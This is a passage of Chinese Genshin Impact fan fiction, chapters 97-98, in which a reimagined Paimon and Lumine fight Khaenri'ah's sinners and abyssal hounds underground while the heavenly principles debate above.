“该死的伊尔明隐瞒了最关键的问题。”「猎月人」雷利尔爆了句粗口,他引以为傲的武器被黑色魔龙的唾液腐蚀,发出阵阵恶臭,“这下面不光只有深渊力量还有那该死的深渊魔物——坎瑞亚竟然一直躺在一头啃食地脉的魔物之上,该死!” 派蒙咋舌:“只有你们六个人来解决地下?” 在派蒙的设想中,哪怕头上盘桓着来自天空岛的阴影,坎瑞亚也不可能只派出六个人来解决问题。 虽然她不了解无神之国的战斗力,但是想来,人类的力量应该集中在团体作战而并非单打独斗,六人的小队面对一整个国家地底下的深渊魔物,不管怎样也着实太过超越了些。 但是在对方眼中,派蒙的震惊显然就是另外一个意思。 ——那是来自天空岛神明固有的高傲,既自诩为救世主,又直到最后一刻才肯出手。 现在还不是当面跟时间之魔神撕破脸皮的时候,他们的力量不足以正面对上执掌时间权能的魔神。「贤者」海洛塔帝眼眸暗了几分,控制着将愤怒和仇恨收于眼底,随后欠身,避开重点后答道: “时间之魔神大人不必故作姿态,无神之国的子民大多也是无力的凡人,这里有我们就足够了。” “不是?你的意思是普通人还在上面?” 派蒙简直难以置信,维系者和若娜瓦不是都已经赶过来了吗?无神之国的君主是没有脑子吗?居然还放着那么多普通人在地上不管? 事已至此,派蒙不得不承认,荧的猜测已经完全被证实。 她的两位同僚已经用实际行动表达了对坎瑞亚这一存在发自内心的厌恶。从国土、乃至于那些只是单纯出生在坎瑞亚、而非参与了王宫所作所为的国民都已经统统被判处死刑。 ……维系者和若娜瓦一定等坎瑞亚作茧自缚的恶果暴露在全提瓦特所有人类和非人类面前时,再给予这些罪民们最深刻又痛苦的制裁。 一时之间,派蒙竟然不知道该是先去尝试说服若娜瓦和维系者更好,还是先试着转移坎瑞亚人更好。 但是,派蒙的由于在坎瑞亚一方看来显然就完全是另一个意思。 「贤者」海洛塔帝和「预言家」维瑟弗尼尔不约而同交换了目光。 时间之魔神在犹豫什么?她是真真正正在疑惑为什么只有他们六人在这里? ——难道天空岛派人赶来坎瑞亚是为了地底的深渊魔物?包括刚刚对国民的疑惑……他们为什么会疑惑,难道默认坎瑞亚转移了全体国民? ……一个可怕的猜想蔓延开来 荧耸耸肩,“幸好只有他们,我们这么多人放若娜瓦和维系者面前可不够看。” 那一抹缥缈虚无的希翼终究还是被一直以来坚信的事实所镇压,荧的话无疑侧面为坎瑞亚一方内心所坚定相信的事实提供了佐证。 戴因斯雷布微微张口,最终还是什么都没有说出来,沉默蔓延在几人之中,唯有呼吸弥漫在地底。 雷利尔和苏尔特洛奇交换了一个眼神,猎月人的弓弦和极恶骑的枪尖已然蓄势待发,二人瞬间暴起,其余人同样蓄势待发—— “一起上!” “不能让她们回到天空岛!!” 第97章 第 97 章 神降临的星期一 死之执政不动声色地偏移着视线, 悬浮在天空的大大小小眼眸半眯着打量一旁闭目养神的维系者。 事情明明进展顺利,无神之国的上空已经尽数被她和维系者掌握在手,但不知为何, 若娜瓦仍旧隐隐有些不安。 夜风封锁了天空, 却也让常年留在地底的死之执政拥有更多时间去思考复盘目前为止所发生的一切, 刚刚探查过后, 若娜瓦才惊觉, 事情的发展更是正在往她完全无法理解的道路上狂奔。 首先是明明已经解决了啃食世界树根须之魔龙的维尔金,从娜布传来消息到现在,已经过了足足三个小时,而这三个小时里,不光没有任何来自世界树方面的新消息, 若娜瓦甚至完全感知不到来自维尔金的视线——这太反常了,而现在,她不但没有等来法涅斯钦点继承者的消息, 却看到了伊斯塔露继承者的身影…… 若娜瓦完全有理由怀疑维系者只是在稳住她, 归根到底,这个脑子跟虚假之天一样坏掉的维系仍旧对不识好歹的人类拥有完全没有必要的同情心。 ……一对一尚且还说得过去,如果多加一个派蒙, 还有维尔金这个变数…… 若娜瓦的眼神逐渐放空, 眼下她急需确认维系者的意思, 死之执政依旧紧紧盯着自己的好同僚, 等待后者率先开口。 受不了若娜瓦明目张的灼热视线, 维系者不解地环顾四周,确认并未发生任何事后,才不解问:“什么事?” “只是看到了一些有趣的事情。” 死之执政没有正面回答,只是黠促地挤了挤眼睛, 边缘的小眼睛捅咕着站在一旁风轻云淡面不改色的维系者,像是一只瞪着圆溜溜眼睛和伙伴分享新鲜大鱼的猫咪,兴奋向同伴宣布自己全新的发现,“我还以为伊斯塔露的继任也是一个只认死理的家伙,真是人不可貌相……她倒是脑子活络,居然打了个幌子提前去往地底——维尔金那个不懂人心的赝作一定想不到……跟我们一条心的同伴比表面上的多得多。” “不要随便评判你不了解的人,若娜瓦。”维系者冷冷警告着常年远居于纳塔的若娜瓦,生与死的执政往往相伴相行,与之相对,空间与时间的掌权者共事的时间也远远大于维系者跟若娜瓦真正相处的时间。 “你是说派蒙,还是说维尔金?” “有区别吗?”维系者反问,“你一开始就跟维尔金相处不来,甚至不惜离开天空岛、蜗居于地底。要不是这次坎瑞亚惹出了个大麻烦,你恐怕到现在都不知道伊斯塔露的继任是哪位魔神……既然都不甚熟悉,那就不必对他们的行为做出点评。” “反正……到最后终究是会走上正确的道路的。” 说道最后,维系者放低了声音,不知道是在告诉自己,还是在告诉若娜瓦。 “总而言之,按照你既定的计划来,派蒙心里有数。” “她完全没数——她身边只有一个女降临者,以及……六个,不,七个被深渊污染的存在?” “七个?”维系者略微有些诧异,随后断然否认,“不……那两个降临者中有一个可能和深渊太近已经浸染了深渊的味道……麻烦,明明离去的道路已经近在眼前却还撺掇派蒙去以身犯险……计划需要做出一些调整,提前发动诅咒,我要去救派蒙。” “你疯了?”有那么一瞬间,若娜瓦甚至觉得自己从未认清这位同源同生的同僚。虽然她的面孔始终没有显现,但只要不是瞎子,也能从若娜瓦那肉眼可见的颤抖和紧张中看出不对。 “别的不说,就算要面对即将奔涌上来的深渊之潮,派蒙的权能也足够保证她毫发无伤地活下去。你可清醒一点,时间的权能让她能在偌大的提瓦特任意一处设定锚点,就算再怎么学艺不精,也不至于被区区罪人拦住去路。倒是你我,先不说我们两个先斩后奏会不会把维尔金惹急,你在天空岛处理了这么久地政务,总部主要连基本的原则都忘得一干二净了吧?” “——不能擅自惩戒人类,不得在深渊对地上造成影响前出手。”维系者顿了顿,表情复杂,“有些事情一时半会说不清,但是我只能告诉你,我们必须二选一,是我们直接动手,还是等我救完派蒙回来再动手,你必须要选一个。” “我搞不定维尔金。”若娜瓦想都不想,直接否定第一个选项,但是如果先让维系者去地下,留她一人在天空……若娜瓦远在纳塔的心脏正在砰砰直跳,本能告诉她,这一选择同样充斥着危险。更何况她并不想在这个时候节外生枝,说来惭愧,虽然贵为四影执政之一,但由于若娜瓦本人常年足不出户以及常年累月的甩手掌柜行径,她目前的知识经验还停留在上一次魔神战争——准确来说是维系者坚持要给七十二魔神列表选出最优解的时候,若娜瓦就福至心灵很果断的跑路了,这个选择让她过了几千年的安逸生活,但与之相对的,眼下七国执政她没有一个认识。坎瑞亚这个国度也诡异得很,一直以来就算是天理也对其极为纵容。 若娜瓦常年不在天空岛,真要是出什么乱子,她还指望维系者兜底。 “我搞不定七国执政官,到时候维尔金再一来,我会死掉的。” 维系者深吸一口气,压抑住先给同事来一刀的想法。 思量再三,无视了若娜瓦的大眼瞪小眼,维系者拍板决定“派蒙会正面撞上第一波龙兽潮,我必须去,你放心,维尔金不可能准时赶到坎瑞亚。” “‘不可能’赶到?维系者,你不是……” 维系者径直打断同僚的猜测,语速极快地说道:“听我说,若娜瓦。你还记得法涅斯留下来的最后措施吧?重置之法,没错,我用了。但是法涅斯骗了我们,重置没有办法解决所有的问题,哪怕时间倒流、一切重来、我知晓一切,既定的命运仍会发生,死去的人只不过是晚些死去,活下来的人也终将步入看得见的死亡……与其说我要去救派蒙,倒不如说我要去验证一个猜测—— “这个世界上一定存在着我们一直忽略的、某个可以让一切变得美好幸福的完美结局。” 若娜瓦的化身微微飘动,良久,才微微叹了口气:“毕竟是伊斯塔露的继任……不能看着她陨落。” 维系者点点头,抬手撕开空间裂缝,临走前留下一句—— “对了,我打算带着维尔金一起辞职,由你担任下一届天理,派蒙担任天理的维系者。” 不能若娜瓦开口,随着最后一个字音随着微风消失在空气中,黑红色的裂缝也完全阖上。 真是的……若娜瓦在心底默默叹气,几只大眼睛都变得没精打采起来。不过马上,她就没工夫感叹自己了—— 金色的光柱冲上天际,深夜瞬间被揭开面纱,光污染得整个天空像是白昼一般。 若娜瓦的心凉了半截。 她现在很后悔没有果断一点直接对坎瑞亚人下达诅咒了,而来者的声音也无疑印证了对方的身份。 "哟,好久不见啊,若娜瓦。我还以为你打定主意窝在纳塔不出门了。" 深红色的眼眸微微半闭,高悬半空的死之执政用一副脸五官都不存在、只有眼睛的身体向来者行礼,规规矩矩地称呼道:“好久不见,维尔金大人。” 光点散去,出乎若娜瓦意料,里面居然不止有天理一人,还有一个黄毛降临者得意洋洋地拿着伊斯塔露的权能造物——不对,现在应该是派蒙的权能造物了。 “还好,这次赶来的很及时——我就说用时间的锚点比直接飞过来快多了。” 那个不知道姓甚名谁的黄毛大大松了一口气,转头一看见若娜瓦的化身贴脸吓得连连后退。 若娜瓦原以为这又是一个没有见识的降临者,刚想要点拨一下作为虚假之天的交友眼光之时,听见这个看起来有些眼熟、但是脑子里没什么印象的降临者颤颤巍巍问道: “魔神们的本体居然真是这样的吗?” 兴奋过头的金发降临者很没有礼貌地上下打量了一份若娜瓦的造型,然后竖起大拇指:“很有品味,很帅气哦!” 好吧,虽然不甚礼貌,但是至少嘴甜,还很有眼光。 悬空的数个眼球心虚地避开过分热情的视线,用堪比蚊子嗡嗡的声音说道:“谢谢,但我不算魔神,严格来说我跟维系者平级。” 金色的降临者瞬间呆滞。 “咦?对了,忘了介绍——” 维尔金侧过身,露出前方的几颗有序排列的黑红色眼珠子。 “这是若娜瓦,如你所见,也是四影执政之一,不过比较喜欢用化身出门办事。”维尔金转身,看向若娜瓦,“不过看你们的样子应该刚刚已经认识了吧?” 若娜瓦默默点头。 仔……这个黄毛降临者似乎就是刚刚让派蒙带走的那个哥哥? ……所以那个探查到的一个降临者气息……是妹妹? 等等—— 若娜瓦顿觉不妙—— 如果哥哥在这里,地下感知到的降临者是妹妹。 那多出来的一个深渊气息的主人是谁? 第98章 第 98 章 于是昼夜分开,水天相接…… “你们这些不讲道理的家伙!我们可是来救你们的!” 派蒙一个闪身堪堪躲过飞扑过来的兽境猎犬, 钉在洞穴的箭头顷刻间腐蚀了表面,紫黑色的脉络继续侵入豁口,在表面上留着近似于血管的痕迹。这些兽境猎犬的存在本身就像是移动的深渊病原体, 凡是它们停留超过五秒的地方, 就连坚硬的石脉也会被腐蚀成黯淡无光的垃圾, 而残存的地脉根系更是凄惨, 世界树的自净机制本能地让它的根系也主动竖起防抗的坚房, 但结局除了在耗尽那最后一丝力量后枯萎断裂以外,什么都做不了。 这就是深渊的可怕之处。 它们就像蝗虫一样啃食完所有,荤素不忌。从元素力量到珍贵的地脉、甚至于没有价值的、仅仅是支撑岩窟洞穴,只要存在,深渊蚕食一切的本能让它们连世界都能腐蚀。 荧看准间隙, 一剑砍下兽境猎犬的头颅。这种可怕狰狞的魔兽,甚至失去头颅之后身体依然遵照惯性向他们俯冲过来。派蒙赶紧推开被巨大冲击力反震得一时之间无法动弹的荧,猎犬庞大的身躯撞向她们身后的幽暗小道, 连同碎石跌入漆黑的空洞之中。 眼尖的派蒙甚至能够听清楚那只不识好歹的兽境猎犬坠入谷底后传来的“啪叽”声, 不出意外的话,这只猎犬已经死无全尸。 派蒙睁大着眼睛忍不住气得发抖,她无法理解眼前这群坎瑞亚人的做法。 “这种炼金术的劣作死在这里会污染地脉的!这可是你们的国家啊!你们难道没有想过一旦兽境猎犬顺着隧道前往地面会有什么后果吗?!你们的人民会死掉的啊!!” “这只是必要的牺牲。”「贤者」海洛塔帝淡然说道, 事已至此, 天空岛不会放过坎瑞亚, 而位于提瓦特腹地的无神之国也不可能能够承载天理及其执政官的怒火。 但是, 只要他们能够得到那份力量—— 那份尘世七执政也不得不严阵以待、与虚假之天理同根同源的力量……一切, 仍然尚有转机。 这位算是坎瑞亚王国接触深渊力量的半个发起人的「贤者」眼中闪过如刃锋一般的寒光。 眼下天理的维系者和死之执政虽然已经降临坎瑞亚,但托天理所定下法则的福,强如法涅斯分身的四影执政也不能在灾难发生之前对坎瑞亚降下制裁。 可一旦时间之执政重返地面后通风报信就不一样了,现在头顶上的达摩克利斯之剑尚未堕下全靠着一手信息差, 所以无论如何,降临者和时间之执政都必须死! “戴因,不要心慈手软,想想王国的未来,想想天理的愤怒——” “你们简直都疯了!”荧想不到莱茵多特居然会在地下召唤出她的造物,要知道,一个狭小的地道一旦被兽潮海淹没几乎是必死无疑,“你们难道以为这些愚蠢又无知的生物会知道谁是他们的主人谁是他们的敌人?不!深渊的造物注定只会陷入癫狂的深渊, 现在把这些兽境猎犬封印起来还来得及!” “呵,天真。” 「贤者」海洛塔帝昂起头颅,眼中充满着对无知者的怜悯—— “早在你成为我等的合作伙伴、为了攫取力量选择成为抽取纯净的深渊力量的那一天起,我们所有人早就没有回头路了。公主殿下,难道你以为,拍拍屁股离开坎瑞亚就能当做什么事情都没有发生过吗?愚蠢又天真的女孩……深渊不会放过你,天理也不会放过你。你以为你带着你重逢的兄弟逃走就能够躲开一切保全自身?你不知道天理的残酷,更不知道祂对人类的态度不过是随意摆放的宠物,如果连人类王国都会在这场灾难中化为灰烬……” “那你——” “闭嘴吧,海洛塔帝!” 荧高高跃起,身形瞬间消失在半空之中,紧接着又迅速出现在海洛塔帝身前。凌厉的剑锋狠狠戳向纹丝不动的「贤者」。 —— 一缕金发被剑芒劈开,纷纷扬扬的发丝从荧的耳畔落入末光之剑,戴因斯雷布的剑身之上。 “戴因你现在带着这群傻逼滚回地上,我不杀你!你们是想要害死所有人!” “抱歉,我等此行前来的目的正是填补深渊裂缝、从诸神的手中挽救属于坎瑞亚人的坎瑞亚王国——” 末光之剑后退半步,侧身泄力,将荧推回原地。 荧一个后空翻闪身回派蒙身边。 “听我说,派蒙。”荧半俯身,金色的双眸仍死死盯着眼前的敌人,用耳鬓边的金发看看盖过口型之后,小声说道,“我们必须马上摇来维尔金,现在这个状况维系者来都没有用了!快想想办法,法涅斯一定有给你们留下能够联系上维尔金的道具或者办法!不管要付出多大的代价都别犹豫,现在马上用!” “放心,刚刚你跟他们对峙的时候我已经将坐标传回了地上。”派蒙将手掌覆在荧的手上,时间的权能将少女小臂上几乎已经快活过来的紫黑色纹路定格在最初的状态。 荧惊讶地看着自己的手腕,原先不过堪堪蔓延到手腕线的深渊侵蚀,居然短时间内快速蔓延到了手肘。 “这里的环境已经被深渊同化了,我们不能继续在这里浪费时间,必须要赶快回到地上——”派蒙扭头看向戴因斯雷布,她能够看出来至少这位骑士还尚且抱有一丝理智,没有和他的同僚们一样变得疯狂偏执。 “既然你们知道我的尊名,也应当知道我和维系者一样同属天空岛的四影执政,我可以以我的魔神名·派蒙起誓,坎瑞亚一定不会被毁灭,深渊的一切问题也一定会被我们解决。” 派蒙一退再退,她搞不懂这些人脑子到底想要什么,但既然是坎瑞亚派来解决问题的人,必定是为了拯救坎瑞亚、将深渊的灾厄提前掐灭在火山爆发之前而来。 她相信,就算立场不同,只要拥有共同的目标,又有她做出如此之大的退让,这些人类一定能够放下手中的武器,跟他们一起回到地上解决问题。 果不其然,戴因斯雷布的嘴唇微微松动,蓝色如星空的眸子也在幽暗的洞穴里散发出一种名为“希望”的光辉。 ——看,坎瑞亚人还是不像维系者说的那样固执又对魔神们充满偏见嘛! 为了表示诚意,派蒙甚至主动上前,双手张开,原先充盈着金色光辉的、象征着时间之魔神权能的元素力也消失在空气之中。派蒙甚至短暂取消了自己的权能,只为向着些充满戒备的坎瑞亚人表达出自己的的善意。 不过,久居于天空岛、涉世未深的时间之魔神不知道,人类之中既有为了危机化干戈为玉帛的传世佳话,更有趁你病要你命的经验之谈。 派蒙的动作陡然一滞。 “派蒙!” 手上才被派蒙压制住的旧伤再度发作,荧强忍剧痛,左手凝出一个混杂着深渊和元素力的光弹,然后看准时机,当即劈断捅入时间之魔神胸膛的长枪。 「极恶骑」苏尔特洛奇惊奇地叫道:“这就是承载了深渊力量的公主殿下的实力吗?居然连我的枪尖都能够劈断——还说这是用魔龙古斯托特的火焰打造的弑神之枪……海洛塔帝,你也有看走眼的一天啊。” 「贤者」海洛塔帝不悲不喜,只是冷哼一声,重新看向面色惨白的时间之魔神和怒目而视的荧,居高临下地说道:“得罪了,公主,我们无意与您产生争端,但既然您选择站在了坎瑞亚的对立面,就要付出应有的代价——还有你!时间之魔神,坎瑞亚人不需要你们假惺惺的施舍!不知道被刺穿胸膛的痛感能否让你意识到,你眼中渺小无能的人类,早就拥有了支配世界的胆识和力量!” 派蒙无法理解,她第一次觉得,原来跟人类沟通是一件这么费脑子的事情。 怪不得维系者每次冷着脸下界又生气地回来,原来跟人类沟通真的这么这么辛苦,她发誓,以后维系者不管有什么工作甩给她,她都一定会认认真真完成了。 只是,明明被刺穿的事胸膛,为什么眼睛会变得模糊呢? 派蒙握住卡在胸膛骨架间的碎片,用力一拔,涔涔的鲜血从伤口处涌出。如烈焰烧灼一般的痛感时时刻刻都在提醒这位魔神,她犯了一个不可饶恕的大错。 “……可是我,从不觉得人类渺小无能啊。” 用啃食世界树之魔龙古斯托特的火焰打造而成的枪尖的确对魔神有着不小的伤害,但是—— “你们好像觉得我很好欺负,好像觉得天空岛在压榨你们?” 一滴泪水顺着时间之执政的脸颊缓缓流过,派蒙将低头看着捅伤自己的魔龙碎片,喉咙发出不知道是自嘲、还是有别的什么意味的笑声: “真是可笑……我以为你们只是走错了路,但是现在看来,你们还做错了人。不对,使我信错了人,维系者把我保护得太好了,让我看起来甚至还不如那些在魔神战争里的战败者有骨气。” “不,派蒙,你没有错。错的是他们。” 荧很难形容她现在所看到的一切,她认识的派蒙,是开玩笑是介绍的“应急食品”,是旅行中陪伴她妆点生活的小精灵、“神之嘴”,也是最终决战时,为了让维系者网开一面情急之下一头扎进维系者领域只为了救她出来、最后却殒命于天空岛的,最好的伙伴。 明明和哥哥一样都经历过重置,但空有向派蒙和维尔金大大方方介绍他们相识相知、共同旅行经历的勇气,而她却没有。 荧知道,自己已经被这该死的坎瑞亚和这有病的提瓦特世界给弄疯了。 她不敢确定这个看起来高挑俏皮、强大温柔的时间之执政会是她从鹰翔浅滩钓上来的派蒙。直到和哥哥分道扬镳之后,她才敢像一个胆小鬼一样,对着重置后毫无记忆的好伙伴诉说着她们之间的友情。 派蒙从来都是派蒙。天空岛上忙忙碌碌工作的是她,时不时在旅行途中吐槽的是她,以及现在,始终保持一颗善良的心,对所有人都友好的四影执政,也是她。 派蒙抬起头,金色的花纹顺着枪尖的碎片不断蔓延至整个洞窟。「猎月人」雷利尔搭弦拉弓,也要效仿苏尔特洛奇做出与神为敌的事业。 但这一次,他们面对的,是完全抛却怜悯之心的时间之执政,和彻底被愧疚和愤怒包裹的降临者。 随着派蒙的双眼再度张开,地下的岩石层开始畸变,「贤者」一行人所在的岩石迅速坍塌腐败,成为一吹就散的石灰。「黄金」莱茵多特紧急启动出坎瑞亚先前一直存放在裂缝处的遗迹巨蛇,巨大的条状挖掘机拱起长长的脊背,给他们提供了一片立足之地。 紧接着就是乍然降低的温度,提瓦特大陆如今宜人的气候得益于魔神战争时期魔神之间不休的争端和爱人的本能。他们的伟力削平了尖锐的山峰和崎岖的山脊,软化了坚硬的冻土,让此地的土壤变得适宜耕种。 「贤者」海洛塔帝也终于有幸看到他们心心念念的、恢复肥沃土壤肥力的土壤,但渗出的寒气却在向他们昭示着,在久远的古代,这里并不是一片宜居的乐土。 “时间之魔神的力量难道就仅限于此了吗?” 「猎月人」雷利尔高高跃起,瞄准了位于局势正中心的派蒙。雷利尔的箭矢也是一件不可多得的宝物,黑王伊尔明曾郑重其事地将三枚箭矢托付于他的手中,并且告诉他,这是曾经沾染了三月女神鲜血的、无法被更改、注定刺向目标的箭矢。一旦射出,哪怕是魔神也无法阻挡它的轨迹。 这样的神器用来对付深渊的魔物太过于浪费,但是用来对付时间之执政,就刚刚好。 「猎月人」瞄准了派蒙的眼睛——雷利尔不像苏尔特洛奇那样急功近利到损失自己的武器,毕竟指望一击击杀掉继承了时间之执政伊斯塔露力量的魔神也未免太不切实际,但是只要能够造成任何一点伤害,在有「黄金」召唤而来的大批量兽境猎犬的协助下,让神陨落也并非空谈。 长矢破空而出,但只是一瞬间,箭矢陡然停在了半空,随后以更快的速度反冲向「猎月人」,而不同的是,这一次瞄准着的,是苏尔特洛奇的心脏。 原本就已经先失武器的「极恶骑」不得不用断掉的兵刃硬接下这一发不可能偏移的箭矢,雷利尔当机立断射出瞄准着箭矢的第二件,两相抵消,哪怕是派蒙的权能也无法让着既定命中的箭矢射向苏尔特洛奇的心脏。 “你们俩给我趴下!” 一直被保护在最中心的炼金术士大喝,雷利尔和苏尔特洛奇没有任何迟疑,迅速趴在冰冷的遗迹巨蛇脊背上。就在他们趴下去的刹那,一道可怖的的龙吟从上空传来。 “这是……古斯托特?”荧瞳孔微缩,随后马上否认,“不,不对……古斯托特现在应该在须弥地底下啃食世界树,这家伙绝对不敢随便离开,祂很清楚被天理发现真身的下场……” “这便是我穷尽毕生心血创造的「腐殖层」,”黄金「莱茵多特」穿着粗气,疲惫的面庞却显现出独属于炼金术士的自傲,哪怕光是将如此一条强大的巨龙转移过来已经耗尽了他几乎全部的力量,她依旧靠着强大的毅力和兴奋支撑起自己不至于倒地。 这就是莱茵多特最后的杀手锏。 “杜林原本是送给天理和尘世七执政的一盘硬菜,”「黄金」的眼中闪烁着兴奋又贪婪的目光,她的杰作,虽然仍然有一些小小的瑕疵,但是能够为妈妈而战,杜林一定会无比幸福吧? “可爱的孩子,我原先只希望能够从深渊汲取到能够创造出真正无暇生命的力量,时间之执政,是你逼得我们沦落到此境地!” “你们全部是一帮神经病加自大狂!!” 荧怒喝,另一只手将手中的无锋剑掷向莱茵多特,直直瞄准着这个麻烦女人的心脏。 “天空岛睁只眼闭只眼就说他们对你们坎瑞亚不管不顾,天空岛下场收拾烂摊子就怪他们插手给你们擦屁股,你们这么有本事怎么没见到你们直接跟天理对轰,怎么不效仿尼伯龙根来一场史无前例谁输谁就滚出提瓦特的对决?!” “你们只是懦夫!你们觊觎不属于你们自己的力量,又妄想这份力量可以带你们登峰造极;你们只想着从别的地方去窃取、去盗取,用不是自己的东西去对抗假想中的敌人!谁都可以反抗天理,被连龙带家撵出提瓦特的远古巨龙们可以,暗之外海的战败魔神可以,被屠杀得连族群都不剩几只的远古海兽可以,甚至被打得连太阳都找不到的深渊都可以,可唯独人类!!” “天理唯独不欠任何人类!祂甚至为了人类背弃了自己的族群,沦为了束缚在沉眠王座只余恶行的暴君!!” 荧高举左手,失去压制的深渊力量开始在少女的体内肆虐,神经上的剧痛让她几乎痛喊出声,但于此同时,力量也随着痛觉一起回到了她的身体之中。 “我对天理本人不感兴趣,我甚至跟天空岛的神明有仇。我们兄妹因天理的阻拦分别百年,我最好的伙伴为死在为我求情让我离开天空岛的路上,但是你们——” 荧喘了一口气,来自身体内部的巨大压力几乎将她的身躯炸开。 “我们一起!”熟悉的声音从耳边响起,荧回过头,派蒙的白净的小肉脸上已经浮现出繁复的纹路,她听到派蒙说道,“真好,上一次充值,我们会成为好朋友。” “在战场上成为朋友,似乎也不赖。”感受到力量的补充,荧抬起手,瞄准着杜林的方向。这条可怜的魔龙并不知道自己的行为会给这个世界带来多么可怕的灾难,它的确无辜,如果换一个地点、事态也并非如此紧急,或许她会和兄长跟派蒙一起,尝试拯救这条无辜的魔龙。 但这是战场。作为武器出生的杜林,被毁灭的结局早已注定。 宛若光炮的光柱从荧的双手中迸发,荧甚至感觉到,她的骨头像是被卸掉之后又重新安装好一样发出惊悚的嘎嘎声。 这个才被「黄金」莱茵多特呼唤过来的魔龙,还没真正看见这美丽的世界,还没有真正意识到自己为何物,就死在了降临者和时间之执政的合击之下。 “呼,呼……” 荧喘着粗气,刺眼的光炮不但将难搞的杜林一发轰杀,也让荧和派蒙的力量彻底被掏空。不过,好消息是,方才包围住他们的兽境猎犬已经被悉数歼灭,而面对那样大范围的攻击,荧有理由相信刚刚大放厥词的「贤者」等人已经死去。 世界线改变了,五罪人死在了坎瑞亚的地底,虽然戴因……但这可能就是重置吧,一旦对世界的节点发出一些小小的改变,就会对未来造成不可挽回的影响。值得庆幸的是,至少五罪人的命运尚未被锚定在提瓦特的星空,不然就算她们如何努力,这几个家伙都不会在此时死去。 荧和派蒙相互搀扶着,阴暗的隧道重新恢复黑暗。荧看着已经只剩下白岩和石壁的洞窟,冷冷地对着已经连回都不剩的坎瑞亚人说道: “如果我跟天理只是立场不同,那你们就是一群贪得无厌的白眼狼!” “那你跟我们,又有什么区别呢?” 烟雾散去,一道由数不清数量的兽境猎犬组成的肉墙拦在了中央。 “不,不对吧……”派蒙喃喃,“怎么可能?” “怎么不可能?亲爱的时间之执政,你似乎忘记了,你们的权能可无法净化深渊的力量。”「黄金」扭动着手腕,一只遍体鳞伤的兽境猎犬呜呜地蹭着她的手背,祈求着造物主的怜悯。 莱茵多特连一个目光都懒得施舍,纤手一挥,可怜兮兮卖乖的兽境猎犬就化作了紫黑色的烟尘消散于空气中,下一秒,一只全新的、健康的兽境猎犬以全盛姿态出现在她们面前,眼里闪烁着对魔神血肉的贪婪。 派蒙和荧不自觉后退几步,对视一眼—— “快跑! ” “困住她们!” 兽境猎犬们死灰复燃,不过几个呼吸,眨眼之间,好不容易肃清完毕的深渊魔物又在不断聚拢,或许是因为知道自己是不死之身,这些兽境猎犬比刚刚更加凶狠,完全是以伤换伤、以命换命的疯狗姿态, 「贤者」看向聚精会神操总兽境猎犬的「黄金」,紧皱着眉头问道,“莱茵多特,就只有这些了吗?” “不要以为它们能够取之不尽用之不竭,大量「淋溶层」被用于腐蚀边界,这已经是我短时间能调过来的最多数量。”「黄金」不耐地看着隐隐向他施压的「贤者」,昂起头,“与其只靠我一个人限制时间之执政和公主殿下,你们倒是来一点作用。” 冰冷的箭矢从炼金术士的脸颊擦过,刚刚吃了一个大瘪的「猎月人」半眯着眼,甩给炼金术式一句话: “不用你说我也知道。” 已经耗尽力量的派蒙用余光看了一眼箭头——不用于刚刚蕴含着必中因果的箭矢,现在「猎月人」射过来的箭头上涂满了深渊魔物的鲜血。先不说坎瑞亚人手头上这种能够承载深渊力量腐蚀的介质究竟从何而来,单是瞄一眼,派蒙就知道这样高纯度的深渊力量绝对不属于地上。 “这是从地下深渊力量中抽取出来的杂质,接触到皮肤和一脚踩上高浓度的深渊力量没什么区别!” 荧的状态比派蒙要稍微好些,派蒙为了防止出现炸不死那条魔龙的糟糕情况,刚刚那一发光炮干脆直接倾注身上的全部力量。作为一个脆弱的社畜执政官,指望元素力已经大空还处在胸膛可持续性哗哗流血的派蒙大发神威再来一发光炮显然不符合实际。 荧单手挥剑,将从背后袭来的一只嘶吼的兽境猎犬砍翻,凌厉的剑锋穿过被深渊浸染的野兽的喉咙,紫黑色的鲜血腐蚀着剑身,呼吸之间,雪白的剑锋已然染上锈迹。 荧“啧”一声,甩手将随手从卫队士兵身上抢来的制式刀剑扔在一旁。 “小心!” 与金色的光芒一齐到来的是时间之魔神的力量,派蒙咬牙施展起权能,鎏金的表盘附着在兽境猎犬身上,然而不过呼吸之间,他们就仿佛自动消除了控制,继续嘶吼着,挥动着愤怒的利爪向荧袭来。 可恶,荧紧咬牙关,狠狠看着还在将源源不断的魔物驱赶到她和派蒙方向这边的「黄金」。 "为什么这些从深渊地底冒出来会听从坎瑞亚人的命令?这完全没有道理啊!" “他们对深渊的研究比我之前看到的要深入得多。”荧咬牙切齿,一只手捂住手腕。作为转换器给坎瑞亚无偿打工的后遗症之一,就是在高浓度的深渊魔物环境下,曾经插满了机械血管的地方会一直泛出刺痛。 “越来越多……地下的魔物正在蔓延上来。不对,是源源不断的深渊力量被她重铸成为兽境猎犬,这一招难道可以无限再生吗?” 派蒙脸色越来越难看,时间这样概念性的权能直接的杀伤性本就因人而异。如果是伊斯塔露来,可能还会有解决眼下这种境况的办法,但专精点在天空岛办公方向的派蒙而言,一时半会,她还真想不到彻底解决困局的办法。 毕竟她从来不曾遇到过这种情况——从前虽然深渊魔物无法被她净化,但是如果只是单纯的斩杀是完全没有问题的。派蒙此时想穿越回千年前,给当年偷懒不愿意下界出外勤的自己狠狠一巴掌。 让你偷懒,这下好了,命都快没了!! 死脑子,快想想当年白夜国的事情维系者是如何解决的,快想! 拇指按压得食指骨节嘎吱作响,派蒙气得身体颤抖,不论她如何回忆、如何复盘,她脑子里只剩下维系者暴力解决一切被污染的存在并且物理清洗相关人类的记忆这一个办法。显然,这个办法对于实力强悍二话不说就糊深渊魔物一个巴掌的维系者而言很好使,但对于现在全身上下摸不出一个伤害技能的时间之魔神而言,真要学着像维系者一样武力拆火,还不如找维系者救命来得实在。 一只漆黑的兽境猎犬藏匿于阴影之中,顺着头顶的石壁攀爬到她们的头顶。被腐化了的龙兽的涎水和派蒙擦身而过,落到地面,发出灼烧一般的黑烟。 荧抬头向上看去,几乎没有任何思考,反手就送给那只对她们俩垂涎欲滴的饥饿猎犬一发风元素凝成的气旋。 饥肠辘辘的猎犬不但没有用它天生自带的空间跃迁避开攻击,反倒张大嘴,一口将由纯粹风元素力量凝成的风旋吞了下去。 不是躲开,也不是用厚实的外皮去硬抗,居然就这么直接吞下去了! “这不是普通的兽境猎犬!” “这次要是能够逃过一劫,我发誓我一定要去维系者那里好好学习一下简单粗暴的武力技能。再不济跟她学一下搓火球也比站在这里干看着有用。” 派蒙当机立断:“不管了,我们先遛——哇啊!!这是怎么回事!” 这……不对吧? 权能居然,不起作用了? 这一瞬间,许许多多可能性闪过派蒙脑海,但最终,都化作了她许多年前从伊斯塔露哪里听到的、关于四影执政权能的、最基本的秘密—— “原来如此,我知道了!” 